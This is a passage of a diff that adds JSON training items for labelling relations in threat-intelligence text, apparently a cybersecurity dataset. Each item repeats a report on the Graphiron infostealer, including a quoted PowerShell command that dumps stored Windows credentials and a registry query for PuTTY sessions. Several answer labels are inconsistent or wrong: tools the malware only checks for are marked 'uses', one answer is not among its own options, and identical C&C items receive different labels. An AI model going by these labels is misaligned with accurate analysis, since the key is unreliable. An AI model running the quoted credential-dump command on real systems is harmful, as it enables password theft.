smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: Firefox\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: Thunderbird\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: MobaXTerm\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: PowerShell\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: C&C\n### Possible Relationship Labels:\n['beacons-to', 'exfiltrates-to', 'targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: MicrosoftOfficeDashboard.exe\n### Possible Relationship Labels:\n['communicates-with', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: C&C\n### Possible Relationship Labels:\n['beacons-to', 'exfiltrates-to', 'targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>exfiltrates-to</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: BurpSuite\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: BurpSuiteFree\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: Charles\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a 